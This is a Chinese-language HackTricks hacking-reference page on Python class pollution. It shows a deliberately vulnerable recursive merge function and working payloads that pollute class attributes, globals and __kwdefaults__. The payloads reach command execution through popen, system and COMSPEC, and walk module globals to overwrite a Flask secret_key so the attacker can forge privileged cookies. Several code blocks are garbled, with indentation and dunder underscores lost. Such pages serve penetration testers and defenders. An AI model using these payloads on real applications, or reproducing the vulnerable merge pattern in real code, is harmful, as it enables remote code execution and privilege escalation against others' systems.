Class Pollution (Python's Prototype Pollution)
支持HackTricks
检查订阅计划!
加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @hacktricks_live.
通过向HackTricks和HackTricks Cloud github仓库提交PR来分享黑客技巧。
基本示例
查看如何通过字符串污染对象的类:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
基本漏洞示例
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
示例装置
将类属性默认值创建为RCE(子进程)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>通过 <code>globals</code> 污染其他类和全局变量</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
任意子进程执行
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>覆盖 <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** 是所有函数的一个特殊属性,根据 Python [文档](https://docs.python.org/3/library/inspect.html) ,它是一个“任何**仅限关键字**参数的默认值的映射”。污染这个属性允许我们控制函数的仅限关键字参数的默认值,这些参数是在 \* 或 \*args 之后的函数参数。
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
在不同文件中覆盖 Flask 密钥
因此,如果您可以对 Web 的主 Python 文件中定义的对象进行类污染,但其类是在与主文件不同的文件中定义的。因为为了访问前面的有效负载中的 __globals__,您需要访问对象的类或类的方法,您将能够访问该文件中的全局变量,但无法访问主文件中的全局变量。 因此,您将无法访问在主页中定义了密钥的 Flask 应用全局对象:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
在这种情况下,您需要一个小工具来遍历文件以找到主文件,以访问全局对象 app.secret_key
,从而更改 Flask 密钥并能够通过了解此密钥来提升权限。
像这样的有效负载来自这篇解说:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
使用此有效负载来更改 app.secret_key
(您的应用程序中的名称可能不同),以便能够签署新的和更多特权的 flask cookies。
还可以查看以下页面以获取更多只读小工具:
Python Internal Read Gadgets参考资料
支持 HackTricks
检查订阅计划!
加入 💬 Discord 群组 或 电报群组 或 关注我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。
Last updated